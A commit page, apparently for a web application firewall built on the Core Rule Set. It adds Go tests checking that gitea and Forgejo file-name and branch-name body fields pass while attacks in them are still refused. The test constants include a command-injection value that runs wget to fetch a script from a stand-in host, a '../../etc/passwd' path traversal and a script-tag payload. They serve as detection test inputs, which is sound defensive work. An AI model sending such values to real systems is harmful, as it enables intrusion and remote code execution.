Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)
check / check (push) Waiting to run
check / check (push) Waiting to run
While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules that refused them, on their own paths: - the web editor's tree_path, commit_summary and content; - every field that names a branch, for Windows commands and command names: new_branch_name, old_branch_name, old_ref_name, from, to, head, base, branch and new_branch; - message of a file changed through the API, for system files and Windows commands. None applies when the query has a parameter of the same name. The requests were recorded from gitea 1.27.3 and Forgejo 17.0.1. Model: opus-5-5
This commit is contained in:
1 parent
f9bec5146b
commit
ca07411721
9 files changed
+339
-10
No files matched your search
@@ -1764,6 +1764,9 @@ const scriptTag = "<script>alert(1)</script>"
|
||||
// pathTraversal is a path traversal, not escaped.
|
||||
const pathTraversal = "../../etc/passwd"
|
||||
|
||||
// shellCommand is commandInjection, not escaped.
|
||||
const shellCommand = "; wget http://example.com/x.sh"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
@@ -1969,6 +1972,126 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
|
||||
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
|
||||
}
|
||||
|
||||
// nameInBody is a name gitea or Forgejo sends in field of a body to path.
|
||||
// contentType is formData or jsonBody.
|
||||
type nameInBody struct{ path, contentType, field, name string }
|
||||
|
||||
// giteaNamesInBodies returns names gitea and Forgejo send in a body field that
|
||||
// skips the rules that refused them there. Each field that names a branch
|
||||
// comes with a name for each rule it skips: feat/docker-support for the command
|
||||
// names (932260), and fix-powershell-module for the Windows commands (932120).
|
||||
func giteaNamesInBodies() []nameInBody {
|
||||
const (
|
||||
repo = "/alice/tools"
|
||||
api = "/api/v1/repos/alice/tools"
|
||||
|
||||
// newBranchName names a new branch on several paths.
|
||||
newBranchName = "new_branch_name"
|
||||
)
|
||||
|
||||
// A file's path or text, or a commit's summary or message.
|
||||
texts := []nameInBody{
|
||||
{repo + "/_edit/main/compose.yml", formData, "tree_path", "docker-compose.yml"},
|
||||
{repo + "/_new/main/", formData, "tree_path", "docs/python3-setup.md"},
|
||||
{repo + "/_delete/main/.htaccess", formData, "commit_summary", "Remove .htaccess"},
|
||||
{repo + "/_new/main/", formData, "content", "# Setup\r\n\r\nInstall the tools.\r\n"},
|
||||
{
|
||||
api + "/contents/scripts/powershell-build.ps1", jsonBody,
|
||||
"message", "Add a PowerShell build script",
|
||||
},
|
||||
{api + "/contents/.htaccess", jsonBody, "message", "Remove .htaccess"},
|
||||
}
|
||||
|
||||
branchFields := []struct{ path, contentType, field string }{
|
||||
{repo + "/_edit/main/compose.yml", formData, newBranchName},
|
||||
{repo + "/_new/main/", formData, newBranchName},
|
||||
{repo + "/_delete/main/.htaccess", formData, newBranchName},
|
||||
{repo + "/branches/_new/branch/main", formData, newBranchName},
|
||||
{repo + "/branches/rename", formData, "from"},
|
||||
{repo + "/branches/rename", formData, "to"},
|
||||
// Forgejo's path for renaming a branch.
|
||||
{repo + "/settings/rename_branch", formData, "from"},
|
||||
{repo + "/settings/rename_branch", formData, "to"},
|
||||
{api + "/branches", jsonBody, newBranchName},
|
||||
{api + "/branches", jsonBody, "old_branch_name"},
|
||||
{api + "/branches", jsonBody, "old_ref_name"},
|
||||
{api + "/pulls", jsonBody, "head"},
|
||||
{api + "/pulls", jsonBody, "base"},
|
||||
{api + "/contents/docs/notes.md", jsonBody, "branch"},
|
||||
{api + "/contents/docs/notes.md", jsonBody, "new_branch"},
|
||||
}
|
||||
|
||||
branchNames := []string{"feat/docker-support", "fix-powershell-module"}
|
||||
|
||||
names := make([]nameInBody, 0, len(texts)+len(branchFields)*len(branchNames))
|
||||
names = append(names, texts...)
|
||||
|
||||
for _, branch := range branchFields {
|
||||
for _, name := range branchNames {
|
||||
names = append(names,
|
||||
nameInBody{branch.path, branch.contentType, branch.field, name})
|
||||
}
|
||||
}
|
||||
|
||||
return names
|
||||
}
|
||||
|
||||
// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which
|
||||
// gitea and Forgejo name a file or a branch. Each lets through the name that
|
||||
// was refused there, and still refuses a shell command after a ";" and a path
|
||||
// traversal. The same name is still refused in another field on the same path,
|
||||
// and in the field itself when the query has a parameter of the field's name.
|
||||
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, tc := range giteaNamesInBodies() {
|
||||
r := request{http.MethodPost, tc.path, []string{tc.contentType}}
|
||||
|
||||
body := func(field, value string) string {
|
||||
if tc.contentType == formData {
|
||||
return field + "=" + url.QueryEscape(value)
|
||||
}
|
||||
|
||||
quoted, err := json.Marshal(map[string]string{field: value})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
return string(quoted)
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold {
|
||||
t.Errorf("%s %s=%q refused: %+v", tc.path, tc.field, tc.name, got)
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold {
|
||||
t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got)
|
||||
}
|
||||
|
||||
param := tc.field
|
||||
if tc.contentType == jsonBody {
|
||||
param = "json." + tc.field
|
||||
}
|
||||
|
||||
queried := request{http.MethodPost, tc.path + "?" + param + "=x", r.headers}
|
||||
|
||||
got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name))
|
||||
if got.Score < threshold {
|
||||
t.Errorf("%s %s=%q let through: %+v", queried.target, tc.field, tc.name, got)
|
||||
}
|
||||
|
||||
for _, attack := range []string{shellCommand, pathTraversal} {
|
||||
if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold {
|
||||
t.Errorf("%s %s=%q let through: %+v", tc.path, tc.field, attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
Reference in new issue
Block a user